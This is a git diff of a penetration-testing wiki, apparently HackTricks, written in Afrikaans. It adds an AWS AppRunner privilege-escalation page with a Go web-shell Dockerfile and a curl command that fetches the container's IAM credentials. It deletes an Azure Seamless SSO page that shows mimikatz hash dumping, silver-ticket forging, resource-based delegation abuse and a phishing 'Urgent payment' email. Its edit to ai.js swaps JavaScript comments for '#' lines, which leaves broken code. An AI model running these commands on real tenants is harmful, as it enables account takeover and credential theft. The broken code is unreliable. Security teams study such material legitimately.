diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 2e6ba8b7c..02ee21711 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -267,6 +267,7 @@ - [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md) - [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md) - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md) + - [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md) - [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md) - [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md) - [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md) @@ -454,7 +455,7 @@ - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md) - - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md) + - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md new file mode 100644 index 000000000..a1f967256 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md @@ -0,0 +1,72 @@ +# AWS - AppRunner Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## AppRunner + +### `iam:PassRole`, `apprunner:CreateService` + +'n Aanvaller met hierdie toestemmings kan 'n AppRunner-diens skep met 'n aangehegte IAM-rol, wat moontlik voorregte kan opgradeer deur toegang te verkry tot die rol se akrediteer. + +Die aanvaller skep eers 'n Dockerfile wat as 'n web shell dien om arbitrêre opdragte op die AppRunner-container uit te voer. +```Dockerfile +FROM golang:1.24-bookworm +WORKDIR /app +RUN apt-get update && apt-get install -y ca-certificates curl +RUN cat <<'EOF' > main.go +package main + +import ( +"fmt" +"net/http" +"os/exec" +) + +func main() { +http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { +command := exec.Command("sh", "-c", r.URL.Query().Get("cmd")) +output, err := command.CombinedOutput() +if err != nil { +fmt.Fprint(w, err.Error(), output) +return +} + +fmt.Fprint(w, string(output)) +}) +http.ListenAndServe("0.0.0.0:3000", nil) +} +EOF +RUN go mod init test && go build -o main . +EXPOSE 3000 +CMD ["./main"] +``` +Dan, stoot hierdie beeld na 'n ECR-bewaarplek. +Deur die beeld na 'n openbare bewaarplek in 'n AWS-rekening wat deur die aanvaller beheer word, te stoot, is voorregverhoging moontlik selfs al het die slagoffer se rekening nie toestemming om ECR te manipuleer nie. +```sh +IMAGE_NAME=public.ecr.aws///:latest +docker buildx build --platform linux/amd64 -t $IMAGE_NAME . +aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws +docker push $IMAGE_NAME +docker logout public.ecr.aws +``` +Volgende skep die aanvaller 'n AppRunner-diens wat geconfigureer is met hierdie web shell beeld en die IAM-rol wat hulle wil benut. +```bash +aws apprunner create-service \ +--service-name malicious-service \ +--source-configuration '{ +"ImageRepository": { +"ImageIdentifier": "public.ecr.aws///:latest", +"ImageRepositoryType": "ECR_PUBLIC", +"ImageConfiguration": { "Port": "3000" } +} +}' \ +--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ +--query Service.ServiceUrl +``` +Na die wag vir die diens se skepping om te voltooi, gebruik die web shell om houer geloofsbriewe te verkry en die toestemmings van die IAM Rol wat aan AppRunner geheg is, te verkry. +```sh +curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' +``` +**Potensiële Impak:** Direkte privilige-escalasie na enige IAM-rol wat aan AppRunner-dienste geheg kan word. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md deleted file mode 100644 index 3d6c58b9d..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md +++ /dev/null @@ -1,191 +0,0 @@ -# Az - Seamless SSO - -{{#include ../../../banners/hacktricks-training.md}} - -## Basiese Inligting - -[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) teken **gebruikers outomaties in wanneer hulle op hul korporatiewe toestelle** wat aan jou korporatiewe netwerk gekoppel is. Wanneer dit geaktiveer is, **hoef gebruikers nie hul wagwoorde in te tik om in te teken by Azure AD nie**, en gewoonlik, selfs nie hul gebruikersname nie. Hierdie funksie bied jou gebruikers maklike toegang tot jou wolk-gebaseerde toepassings sonder die behoefte aan enige addisionele plaaslike komponente. - -

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

- -Basies teken Azure AD Seamless SSO **gebruikers** in wanneer hulle **op 'n plaaslike domein-verbonden PC** is. - -Dit word deur beide [**PHS (Wagwoord Hash Sync)**](phs-password-hash-sync.md) en [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) ondersteun. - -Desktop SSO gebruik **Kerberos** vir verifikasie. Wanneer dit geconfigureer is, skep Azure AD Connect 'n **rekenaarrekening genaamd `AZUREADSSOACC$`** in plaaslike AD. Die wagwoord van die `AZUREADSSOACC$` rekening word **as platte teks na Entra ID gestuur** tydens die konfigurasie. - -Die **Kerberos kaartjies** is **geënkripteer** met behulp van die **NTHash (MD4)** van die wagwoord en Entra ID gebruik die gestuurde wagwoord om die kaartjies te ontsleutel. - -**Entra ID** stel 'n **eindpunt** (https://autologon.microsoftazuread-sso.com) beskikbaar wat Kerberos **kaartjies** aanvaar. Die blaaier van die domein-verbonden masjien stuur die kaartjies na hierdie eindpunt vir SSO. - -### Enumerasie -```bash -# Check if the SSO is enabled in the tenant -Import-Module AADInternals -Invoke-AADIntReconAsOutsider -Domain | Format-Table - -# Check if the AZUREADSSOACC$ account exists in the domain -Install-WindowsFeature RSAT-AD-PowerShell -Import-Module ActiveDirectory -Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'" - -# Check it using raw LDAP queries without needing an external module -$searcher = New-Object System.DirectoryServices.DirectorySearcher -$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)" -$searcher.FindOne() -``` -## Pivoting: On-prem -> cloud - -> [!WARNING] -> Die belangrikste ding om te weet oor hierdie aanval is dat om net die TGT of 'n spesifieke TGS van 'n gebruiker wat gesinkroniseer is met Entra ID te hê, genoeg is om toegang tot die wolkbronne te verkry.\ -> Dit is omdat dit 'n kaartjie is wat 'n gebruiker toelaat om in die wolk aan te meld. - -Om daardie TGS-kaartjie te verkry, moet die aanvaller een van die volgende hê: -- **'n Gecompromitteerde gebruiker se TGS:** As jy 'n gebruiker se sessie met die kaartjie na `HTTP/autologon.microsoftazuread-sso.com` in geheue kompromitteer, kan jy dit gebruik om toegang tot die wolkbronne te verkry. -- **'n Gecompromitteerde gebruiker se TGT:** Selfs as jy nie een het nie, maar die gebruiker was gecompromitteer, kan jy een kry deur 'n vals TGT-delegasie truuk wat in baie gereedskap geïmplementeer is, soos [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) en [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). -- **'n Gecompromitteerde gebruiker se hash of wagwoord:** SeamlessPass sal met die domeinbeheerder kommunikeer met hierdie inligting om die TGT te genereer en dan die TGS. -- **'n goue kaartjie:** As jy die KRBTGT-sleutel het, kan jy die TGT wat jy vir die aangevalde gebruiker nodig het, skep. -- **Die AZUREADSSOACC$ rekening hash of wagwoord:** Met hierdie inligting en die gebruiker se Veiligheidsidentifiseerder (SID) om aan te val, is dit moontlik om 'n dienskaartjie te skep en met die wolk te autentiseer (soos in die vorige metode uitgevoer). - -### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) - -Soos [verduidelik in hierdie blogpos](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), is dit baie maklik om net die gereedskap **SeamlessPass** te gebruik om toegang tot die wolkbronne te verkry as die gecompromitteerde gebruiker, of as enige gebruiker as jy die **`AZUREADSSOACC$`** rekening hash of wagwoord het. - -Laastens, met die TGT is dit moontlik om die gereedskap [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) te gebruik met: -```bash -# Using the TGT to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt -# Using the TGS to access the cloud -seamlesspass -tenant corp.com -tgs user_tgs.ccache -# Using the victims account hash or password to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password -# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID -seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234 -seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234 -wmic useraccount get name,sid # Get the user SIDs -``` -Verder inligting om Firefox op te stel om met naatlose SSO te werk, kan [**in hierdie blogpos gevind word**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). - -### Kry hashes van die AZUREADSSOACC$ rekening - -Die **wagwoord** van die gebruiker **`AZUREADSSOACC$` verander nooit**. Daarom kan 'n domeinadmin die **hash van hierdie rekening** kompromitteer, en dit dan gebruik om **silwer kaartjies** te skep om met **enige on-prem gebruiker gesinkroniseer** aan Azure te koppel: -```bash -# Dump hash using mimikatz -Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' -mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit - -# Dump hash using https://github.com/MichaelGrafnetter/DSInternals -Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local - -# Dump using ntdsutil and DSInternals -## Dump NTDS.dit -ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q -## Extract password -Install-Module DSInternals -Import-Module DSInternals -$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' -(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos -``` -> [!NOTE] -> Met die huidige inligting kan jy net die hulpmiddel **SeamlessPass** gebruik soos voorheen aangedui om azure en entraid tokens vir enige gebruiker in die domein te verkry. -> Jy kan ook die vorige tegnieke (en ander) gebruik om die hash van die wagwoord van die slagoffer wat jy wil naboots, te verkry in plaas van die `AZUREADSSOACC$` rekening. - -#### Skep van Silver Tickets - -Met die hash kan jy nou **silver tickets genereer**: -```bash -# Get users and SIDs -Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier - -# Create a silver ticket to connect to Azure with mimikatz -Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4: /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"' -mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit - -# Create silver ticket with AADInternal to access Exchange Online -$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4" -$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com -## Send email -Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." -``` -### Gebruik van Silver Tickets met Firefox - -Om die silwer kaartjie te gebruik, moet die volgende stappe uitgevoer word: - -1. **Begin die Blaaier:** Mozilla Firefox moet gelaai word. -2. **Konfigureer die Blaaier:** -- Navigeer na **`about:config`**. -- Stel die voorkeur vir [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) op die gespesifiseerde [waarde](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): -- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` -- Navigeer na Firefox `Settings` > Soek vir `Allow Windows single sign-on for Microsoft, work and school accounts` en stel dit in op aktief. -3. **Toegang tot die Webtoepassing:** -- Besoek 'n webtoepassing wat geïntegreer is met die organisasie se AAD-domein. 'n Algemene voorbeeld is [login.microsoftonline.com](https://login.microsoftonline.com/). -4. **Verifikasieproses:** -- By die aanmeldskerm moet die gebruikersnaam ingevoer word, terwyl die wagwoordveld leeg gelaat word. -- Om voort te gaan, druk TAB of ENTER. - -> [!WARNING] -> Dit **omseil nie MFA as dit geaktiveer is** in die gebruiker nie. - - -### On-prem -> Cloud via Resource Based Constrained Delegation - -Om die aanval uit te voer, is die volgende nodig: - -- `WriteDACL` / `GenericWrite` oor `AZUREADSSOACC$` -- 'n rekenaarrekening wat jy beheer (hash & wagwoord) - Jy kan een skep - - -1. Stap 1 – Voeg jou eie rekenaarrekening by -- Skep `ATTACKBOX$` en druk sy SID/NTLM-hash. Enige domein gebruiker kan dit doen terwyl MachineAccountQuota > 0 -```bash -# Impacket -python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \ --computer ATTACKBOX$ -password S3cureP@ss -``` -2. Stap 2 – Gee RBCD op `AZUREADSSOACC$` - Skryf jou masjien se SID in `msDS-AllowedToActOnBehalfOfOtherIdentity`. -```bash -python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \ -ATTACKBOX$ AZUREADSSOACC$ - -# Or, from Windows: -$SID = (Get-ADComputer ATTACKBOX$).SID -Set-ADComputer AZUREADSSOACC$ ` --PrincipalsAllowedToDelegateToAccount $SID -``` -3. Stap 3 – Vervals 'n TGS vir enige gebruiker (bv. alice) -```bash -# Using your machine's password or NTLM hash -python3 getST.py -dc-ip 192.168.1.10 \ --spn HTTP/autologon.microsoftazuread-sso.com \ --impersonate alice \ -DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821 - -# Produces alice.autologon.ccache - -#Or, from Windows: -Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 ` -/impersonateuser:alice ` -/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt -``` -U kan nou die **TGS gebruik om toegang tot Azure hulpbronne te verkry as die geïmpersonifieerde gebruiker.** - - -### ~~Skep Kerberos-kaarte vir slegs wolkgebruikers~~ - -As die Active Directory-administrateurs toegang tot Azure AD Connect het, kan hulle **SID vir enige wolk-gebruiker stel**. Op hierdie manier kan Kerberos **kaarte** ook **vir slegs wolkgebruikers geskep word**. Die enigste vereiste is dat die SID 'n behoorlike [SID]() is. - -> [!CAUTION] -> Die verandering van SID van slegs wolk-administrateurs is nou **geblokkeer deur Microsoft**.\ -> Vir inligting, kyk [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) - - - -## Verwysings - -- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) -- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) -- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 02f51127e..c09116c72 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -1,6 +1,6 @@ /** * HackTricks Training Discounts - */ + (() => { @@ -9,13 +9,13 @@ const TXT = 'Click here for HT Summer Discounts, Last Days!'; const URL = 'https://training.hacktricks.xyz'; - /* Stop if user already dismissed */ + # Stop if user already dismissed if (localStorage.getItem(KEY) === 'true') return; - /* Quick helper */ + # Quick helper const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); - /* --- Overlay (blur + dim) --- */ + # --- Overlay (blur + dim) --- const overlay = $('div', ` position: fixed; inset: 0; background: rgba(0,0,0,.4); @@ -24,7 +24,7 @@ z-index: 10000; `); - /* --- Modal --- */ + # --- Modal --- const modal = $('div', ` max-width: 90vw; width: 480px; background: #fff; border-radius: 12px; overflow: hidden; @@ -33,10 +33,10 @@ display: flex; flex-direction: column; align-items: stretch; `); - /* --- Title bar (link + close) --- */ + # --- Title bar (link + close) --- const titleBar = $('div', ` position: relative; - padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */ + padding: 1rem 2.5rem 1rem 1rem; # room for the close button text-align: center; background: #222; color: #fff; font-size: 1.3rem; font-weight: 700; @@ -53,7 +53,7 @@ link.textContent = TXT; titleBar.appendChild(link); - /* Close "X" (no persistence) */ + # Close "X" (no persistence) const closeBtn = $('button', ` position: absolute; top: .25rem; right: .5rem; background: transparent; border: none; @@ -65,11 +65,11 @@ closeBtn.onclick = () => overlay.remove(); titleBar.appendChild(closeBtn); - /* --- Image --- */ + # --- Image --- const img = $('img'); img.src = IMG; img.alt = TXT; img.style.width = '100%'; - /* --- Checkbox row --- */ + # --- Checkbox row --- const label = $('label', ` display: flex; align-items: center; justify-content: center; gap: .6rem; padding: 1rem; font-size: 1rem; color: #222; cursor: pointer; @@ -83,7 +83,7 @@ }; label.append(cb, document.createTextNode("Don't show again")); - /* --- Assemble & inject --- */ + # --- Assemble & inject --- modal.append(titleBar, img, label); overlay.appendChild(modal); @@ -94,7 +94,7 @@ } })(); - +*/